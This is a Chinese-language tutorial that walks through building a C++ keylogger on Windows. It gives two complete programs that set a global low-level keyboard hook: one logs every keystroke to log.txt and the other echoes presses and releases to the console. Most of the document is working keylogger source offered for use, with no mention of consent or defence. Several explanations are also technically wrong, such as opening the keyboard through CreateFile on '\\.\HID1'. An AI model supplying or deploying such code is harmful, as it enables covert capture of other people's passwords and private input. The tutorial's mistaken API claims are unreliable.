C++键盘记录程序代码攻略
简介
键盘记录程序可以记录用户在键盘上输入的所有内容,包括敲击的键和输入的文字。在开发键盘记录程序时,我们需要了解底层的键盘输入原理和如何获取键盘输入事件。在本文中,我们将演示如何使用C++语言编写一个简单的键盘记录程序。
实现步骤
步骤1:打开键盘输入设备
在Windows操作系统中,键盘输入设备通常被称为“HID(Human Interface Device)”,我们可以通过调用Windows API中的CreateFile
函数来打开与HID设备对应的文件。具体步骤如下:
HANDLE keyboard = CreateFile(L"\\\\.\\HID1", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
在上述代码中,我们创建了一个名为keyboard
的文件句柄,用来打开已连接到计算机上的第一个HID设备。如果计算机上有多个HID设备,则可以使用\\\\.\\HID2
、\\\\.\\HID3
等方式来逐个打开。
步骤2:获取键盘输入事件
接下来,我们需要获取键盘输入事件。在Windows操作系统中,键盘输入事件被处理为消息(Message)。我们可以使用GetMessage
函数从Windows消息队列中获取消息。具体代码如下:
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
在上述代码中,我们创建了一个名为msg
的结构体,用于保存从消息队列中获取的消息。使用GetMessage
函数循环等待键盘消息,当有消息到来时,我们使用TranslateMessage
函数将该消息翻译为字符消息,并使用DispatchMessage
函数将该消息发送到消息处理函数中进行处理。
步骤3:处理键盘输入事件
最后一步是对获取的键盘输入事件进行处理。Windows操作系统将键盘输入事件转换为按键消息和字符消息,我们可以通过消息处理函数来捕获这些消息。具体代码如下:
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
if (nCode == HC_ACTION) {
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
printf("Key down: %x\n", p->vkCode);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
printf("Key up: %x\n", p->vkCode);
break;
default:
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
在上述代码中,我们创建了一个名为KeyboardProc
的函数作为消息处理函数,该函数捕获了键盘输入事件并在控制台输出了按下和松开的按键的虚拟键码vkCode
。
示例代码
下面给出两个示例代码来演示如何使用C++语言实现键盘记录程序。
示例1:记录键盘输入到文件中
本例中,我们将通过键盘输入事件来记录用户输入信息,并将其写入到文件log.txt
中。具体实现代码如下:
#include <Windows.h>
#include <iostream>
#include <fstream>
#pragma comment(lib, "user32.lib")
std::ofstream ofs;
LRESULT CALLBACK keyboardHook(int code, WPARAM wParam, LPARAM lParam) {
if (code == HC_ACTION) {
KBDLLHOOKSTRUCT* kbDllHookStruct = (KBDLLHOOKSTRUCT*)lParam;
if (kbDllHookStruct->vkCode == VK_RETURN || kbDllHookStruct->vkCode == VK_BACK) {
ofs << std::endl;
}
else {
std::string outStr;
char key = (char)MapVirtualKey(kbDllHookStruct->vkCode, 2);
std::cout << key << std::flush;
ofs << key << std::flush;
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int main() {
ofs.open("log.txt", std::ofstream::out | std::ofstream::trunc);
HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHook, NULL, 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0));
UnhookWindowsHookEx(keyboard);
ofs.close();
}
在上述代码中,我们定义了一个名为keyboardHook
的函数作为键盘消息处理函数,它会将获取到的键盘输入事件写入到文件log.txt
中。文件句柄ofs
定义在全局作用域中,用来实现对文件的写入操作。
示例2:键盘按键监控
本例中,我们将演示如何使用C++语言编写一个键盘按键监控程序。具体实现代码如下:
#include <Windows.h>
#include <iostream>
#include <fstream>
#pragma comment(lib, "user32.lib")
HHOOK keyboardHookHandle;
LRESULT CALLBACK keyboardHook(int code, WPARAM wParam, LPARAM lParam) {
KBDLLHOOKSTRUCT* kbDllHookStruct = (KBDLLHOOKSTRUCT*)lParam;
int vkey = kbDllHookStruct->vkCode;
if (code == HC_ACTION) {
if (wParam == WM_KEYDOWN) {
std::cout << "press ";
if (vkey == VK_RETURN) {
std::cout << "ENTER";
}
else {
BYTE state[256];
GetKeyboardState(state);
char ret[256];
if (ToAscii(vkey, kbDllHookStruct->scanCode, state, (LPWORD)ret, 0) > 0) {
std::cout << ret;
}
}
std::cout << std::endl;
}
else if (wParam == WM_KEYUP) {
std::cout << "release ";
if (vkey == VK_RETURN) {
std::cout << "ENTER";
}
else {
BYTE state[256];
GetKeyboardState(state);
char ret[256];
if (ToAscii(vkey, kbDllHookStruct->scanCode, state, (LPWORD)ret, 0) > 0) {
std::cout << ret;
}
}
std::cout << std::endl;
}
}
return CallNextHookEx(keyboardHookHandle, code, wParam, lParam);
}
int main() {
keyboardHookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHook, GetModuleHandle(NULL), 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0));
UnhookWindowsHookEx(keyboardHookHandle);
return 0;
}
在上述代码中,我们定义了一个名为keyboardHook
的函数作为键盘消息处理函数,它可以监控键盘输入事件、按键按下和松开的动作,并将这些信息输出到控制台。
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